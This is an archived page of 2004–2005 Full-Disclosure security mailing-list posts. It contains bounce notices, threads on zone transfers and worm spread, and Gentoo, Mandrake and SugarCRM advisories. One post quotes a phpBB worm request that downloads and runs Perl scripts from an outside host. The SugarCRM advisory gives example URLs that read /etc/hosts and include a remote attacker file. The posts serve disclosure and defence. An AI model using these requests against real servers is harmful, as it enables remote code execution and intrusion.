Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; screenstergmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; amathewsgmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; jftuckergmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; bartusogmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; has207gmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; grantmcgmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; scott.sargentgmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; michael.halegmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; wolviegmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; cren888gmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; chancedreamscope.com
Action: failed
Status: 5.2.0
Remote-MTA: DNS; mail.dreamscope.com
Diagnostic-Code: SMTP;
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Again: zone transfers, a spammer's dream?

From: Jorrit Kronjee (full-disclosurenospam.wafel.org)
Date: Wed Dec 29 2004 - 12:49:46 CST


Ralf Glauberman wrote:
> Hello all,
> after Lode Vermeiren having published on the 7th of December that many
> tlds are transferable I did further research on this. Much to my
> surprise this wasn't just a problem of little states. i did a complete
> scan on all tlds (http://data.iana.org/TLD/tlds-alpha-by-domain.txt)
> including every soa and ns server. i got results from 141 out of the
> 258 checked tlds. i din't check every single output, but there are not
> more than 10 false-positives within these. while the ca zone is secure
> now, i was really surprised that be (~ 42 MB, ~ 900.000 records) and
> fi (~ 11 MB, ~ 235.000 records) are transferable.
> all in all, i found that the following tlds are transferable (also
> there might be some false-positives):

arpa being one of those false positives (it's hardly exploitable by
spammers anyway).

Although only a few nameservers of the tld allow zone transfers - and
you really have to look for them - it really amazes me that these
nameservers aren't properly configured.

I'm just glad I don't live in any of these countries.

Jorrit

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
RE: [Full-Disclosure] Microsoft Internet Explorer Full RemoteCompromise w/o User Intervention

From: Alerta RedSegura (alertaredsegura.com)
Date: Sat Dec 25 2004 - 17:37:28 CST


I have run the exploit at http://freehost07.websamba.com/greyhats/sp2rc.htm
on several fully patched Windows XP SP2 boxes here (no special config, hta's
and scripting enabled) and no file gets created or run. Just a help window
displayed and that's it.

Regards,

Inigo Koch
Red Segura

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Re: new phpBB worm affects 2.0.11

From: Paul Laudanski (zxcastlecops.com)
Date: Wed Dec 29 2004 - 11:42:42 CST


Here are some samples of what this one does, and some statistics on
300,000 hits in 55 hours:

http://castlecops.com/article-5642-nested-0-0.html

On Sat, 25 Dec 2004, Adam wrote:

> The request for this one (even against a non phpBB scripts) appears to
> look like this:
>
> "GET
> /?p=comments&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20crowklan.mine.nu/~pillar/.zk/coll;perl%20coll;wget%20crowklan.mine.nu/~pillar/.zk/aol;perl%20aol;rm%20-rf%20aol.*;rm%20-rf%20coll*%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
> HTTP/1.1"

--
Regards,

Paul Laudanski - Computer Cops, LLC. CEO & Founder
CastleCops(SM) - http://castlecops.com
Promoting education and health in online security and privacy.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] OpenSSH is a good choice?

From: Ron DuFresne (dufresnewinternet.com)
Date: Sat Dec 25 2004 - 16:02:20 CST


On Sat, 25 Dec 2004, Kevin wrote:

> On Fri, 24 Dec 2004 16:00:45 -0600 (CST), Ron DuFresne
> <dufresnewinternet.com> wrote:
> > It might depend upon how the algorithim is implimented, say, search for
> > easy to find vuln systems with stadard port open, till perhaps 10 or 100
> > or some given number are found and infected, then go back through the
> > non-vuln hosts and search those specifically for non-standard ports.
> > Insures spread of the worm and quick infection rate, and then allows it to
> > retarget 'hidden' systems. Seems to me this would merely be a change to
> > infection code similiar to those wrms that had in them coded a
> > date and time to attack a site.
>
> One consideration -- sysadmins who are bright enough to configure
> services onto non-standard ports are likely also bright enough to
> patch their systems, install IDS and HIPS, and such hosts are in
> general less likely to be exploitable than default configurations.

upgrading openssh involves quite often also upgrading openssl, and that
can link into web systems and redoing apache/modssl <are there any other
known openssl dependencies?>. Makes for a nasty scenario in determing
what borked when making all these changes in production at once. Makes
for a nasty phase in change mgt as well. Might well be the reason that
others have found folks not fixing ssh issues in a timely maner which has
been documented in earlier studies on patching efficiencies. Then we add
in the rebuilding of sigs for the IDS/IPS/HIPS, and it gets to be a
totalmess that can bog one down out of prod for days in trying to locate
the root cause in a large rollout...<sigh>

>
> I'm not sure that a routine to find hidden, vulnerable services would
> add much value to an automated "flash worm". This approach makes
> sense for a human attacker trying to penetrate a specific site or
> class of target, but for a "flash worm", wouldn't it make more sense
> to put the work towards finding more easy targets?
>
> What does it benefit a worm or the worm's author to compromise 99% of
> vulnerable systems rather than a mere 85% of the vulnerable
> population?
>

The easy targets are likey small sites, simple DLS/cable/dialup users,
that higher percentage category are the cream, worth many more points if
one's scoring in such actions...

> Additionally, port scanning raises the profile of the source, both on
> the network and at the target. Whether just blasting out the exploit
> code or doing banner scanning, the worm will need to do a full TCP
> session to each potential target IP:Port. This is not only slow, but
> also very "noisy", causing unusual events to be logged by listening
> daemons on the target system.
>
> The only time I've ever been reprimanded for running (authorized) nmap
> scans against non-hardened solaris systems was when I used the '-sV'
> option and freaked out a (non security conscious) sysadmin due to the
> large volume of timeout and protocol errors logged by rpcbind and
> other default TCP listeners.
>

Lots of noise can lead towards folks missing something in vast ammounts of
output, at least dramatically lengthen the time it takes to analyise all
the traffic...

>
> > Seriously, why do folks think sshd should be open for the world to pound
> > upon, no matter which port it's assinged to run on?
>
> When you cannot know the source IP in advance, *something* must serve
> as the gatekeeper for access to network services.
>
>
> > It provides an encrypted channel into the network. And channel in,
> > especially encrypted channels, should be guarded and allow only those
> > that require access to get access.
>
> Many systems have a business need to allow customers to connect in
> from arbitrary source addresses -- vendor support for maintenance,
> customers uploading content, etc. There is an unavoidable
> requirement to have *some* channel into the system, and it's tough
> enough for web hosting providers to push customers to migrate off of
> cleartext password protocols like telnet and FTP, now we need to
> convince the customer to use public keys and strong authentication
> tokens?

customers uploading content, on exposed staging systems only, Production
then pulls in content on a scheduled or manually driven timeline.

vendor support, grant as and when needed and then close the door. Too
many hands can spoiil the pot when making changes to a system, and
allowing such without supervision will result in one hand not knowing what
the other did at some point in time that borked the whole setup.

>
> IPSEC might make sense for employee inbound sessions, But for
> "customers" of web hosting and the like, ssh itself is already the
> primary gatekeeper -- there isn't any other (easy) check to implement
> before letting an unknown source talk to the ssh listener.
>

"customers", see above.

Might surprise some but there are companies that will not allow encrypted
traffic behind the perimiter, as it can't be monitored. Unrestricted
access inside from out from any ole place is a problem in the making
though.

The present state of VPNmadness is not the solution either. Encrypted
tunels inside can be more insidious then a worm or virus being let loose
by a manager clicking x-mas.exe or someother.

Thanks,

Ron DuFresne
--
"Sometimes you get the blues because your baby leaves you. Sometimes you get'em
'cause she comes back." --B.B. King
        ***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D. Just don't touch anything.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [gentoo-announce] [ GLSA 200501-10 ] Vilistextum: Buffer overflow vulnerability

From: Thierry Carrez (koongentoo.org)
Date: Thu Jan 06 2005 - 15:37:05 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-10
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Vilistextum: Buffer overflow vulnerability
      Date: January 06, 2005
      Bugs: #74694
        ID: 200501-10

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Vilistextum is vulnerable to a buffer overflow that allows an attacker
to execute arbitrary code through the use of a malicious webpage.

Background
==========

Vilistextum is an HTML to text converter.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 app-text/vilistextum < 2.6.7 >= 2.6.7

Description
===========

Ariel Berkman discovered that Vilistextum unsafely reads data into an
array without checking the length. This code vulnerability may lead to
a buffer overflow.

Impact
======

A remote attacker could craft a malicious webpage which, when
converted, would result in the execution of arbitrary code with the
rights of the user running Vilistextum.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Vilistextum users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/vilistextum-2.6.7"

References
==========

  [ 1 ] Original Advisory
        http://tigger.uic.edu/~jlongs2/holes/vilistextum.txt
  [ 2 ] CAN-2004-1299
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1299

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-10.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
[Full-Disclosure] Arbitrary file inclusion in SugarCRM [PHP]

From: Santiago Cortes (blindotgmail.com)
Date: Thu Jan 06 2005 - 15:46:41 CST


------------------------------------------------------------
Arbitrary File Inclusion in SugarCRM
------------------------------------------------------------
Author: Santiago Cortés
Date: Jan 06, 2005
------------------------------------------------------------

Vulnerability:

Failure to sanitize user input in index.php opens the possibility for
an attacker to include an arbitrary file when PHP's "register_globals"
is on.

Example:

http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=/etc/hosts

http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=http://www.attackersite.com/malicious.php

Fix:
Disable register_globals in your php.ini file, or

Replace line 198 in index.php:
$currentModuleFile = $moduleDefaultFile[$currentModule];

With
if ( !isset($moduleDefaultFile[$currentModule] ) {
   die('No action specified');
}
$currentModuleFile = $moduleDefaultFile[$currentModule];

Disclaimer:

The information in this advisory and any of its demonstrations is
provided "as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result
of using the information or demonstrations provided in any part of
this advisory.

Contact:
Santiago Cortés
blindot --at-- gmail

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] MDKSA-2005:004 - Updated nasm packages fix buffer overflow vulnerability

From: Mandrake Linux Security Team (securitylinux-mandrake.com)
Date: Thu Jan 06 2005 - 14:59:02 CST


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name: nasm
 Advisory ID: MDKSA-2005:004
 Date: January 6th, 2005

 Affected versions: 10.0, 10.1
 ______________________________________________________________________

 Problem Description:

 A buffer overflow in nasm was discovered by Jonathan Rockway. This
 vulnerability could lead to the execution of arbitrary code when
 compiling a malicious assembler source file.
 
 The updated packages are patched to correct the problem.
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 bfeacd381e7fbf8b99e96a2430311ed4 10.0/RPMS/nasm-0.98.38-1.1.100mdk.i586.rpm
 114bfd2649248582ad463a187a826e33 10.0/RPMS/nasm-doc-0.98.38-1.1.100mdk.i586.rpm
 ed611f8bbd6cfa91b9d7944c9b815902 10.0/RPMS/nasm-rdoff-0.98.38-1.1.100mdk.i586.rpm
 f431fa5e5f6a59718efcfb41edab3be3 10.0/SRPMS/nasm-0.98.38-1.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 dc9af90c5b786c155544f48046e9dfe4 amd64/10.0/RPMS/nasm-0.98.38-1.1.100mdk.amd64.rpm
 f0c59ffd65fd1285e577af0b8ce9baa1 amd64/10.0/RPMS/nasm-doc-0.98.38-1.1.100mdk.amd64.rpm
 d044b7e60404106957e51e3c2841feed amd64/10.0/RPMS/nasm-rdoff-0.98.38-1.1.100mdk.amd64.rpm
 f431fa5e5f6a59718efcfb41edab3be3 amd64/10.0/SRPMS/nasm-0.98.38-1.1.100mdk.src.rpm

 Mandrakelinux 10.1:
 47bc2f9600153b30d7e63321360b8d76 10.1/RPMS/nasm-0.98.38-1.1.101mdk.i586.rpm
 1995e7f847f816be99b917867cf9a139 10.1/RPMS/nasm-doc-0.98.38-1.1.101mdk.i586.rpm
 1a2242ced53b91dfe2179a26527dca33 10.1/RPMS/nasm-rdoff-0.98.38-1.1.101mdk.i586.rpm
 92183c2e2e68b8a12e3a0d6aa692763f 10.1/SRPMS/nasm-0.98.38-1.1.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 ed510372fa24800e7b0faf78e84d8a0b x86_64/10.1/RPMS/nasm-0.98.38-1.1.101mdk.x86_64.rpm
 c3fdef84d0c9b383ae78aa929d110f78 x86_64/10.1/RPMS/nasm-doc-0.98.38-1.1.101mdk.x86_64.rpm
 3a83b689ba75be2ed28b3edea7270ea9 x86_64/10.1/RPMS/nasm-rdoff-0.98.38-1.1.101mdk.x86_64.rpm
 92183c2e2e68b8a12e3a0d6aa692763f x86_64/10.1/SRPMS/nasm-0.98.38-1.1.101mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi. The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security. You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID Date User ID
 pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB3aaVmqjQ0CJFipgRAoEdAJ9PpM5rdVbA0mM2vXFTNfEawpfeywCfdGB1
OcI8lB5IV6fOmLMbbSkIeDA=
=tch/
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html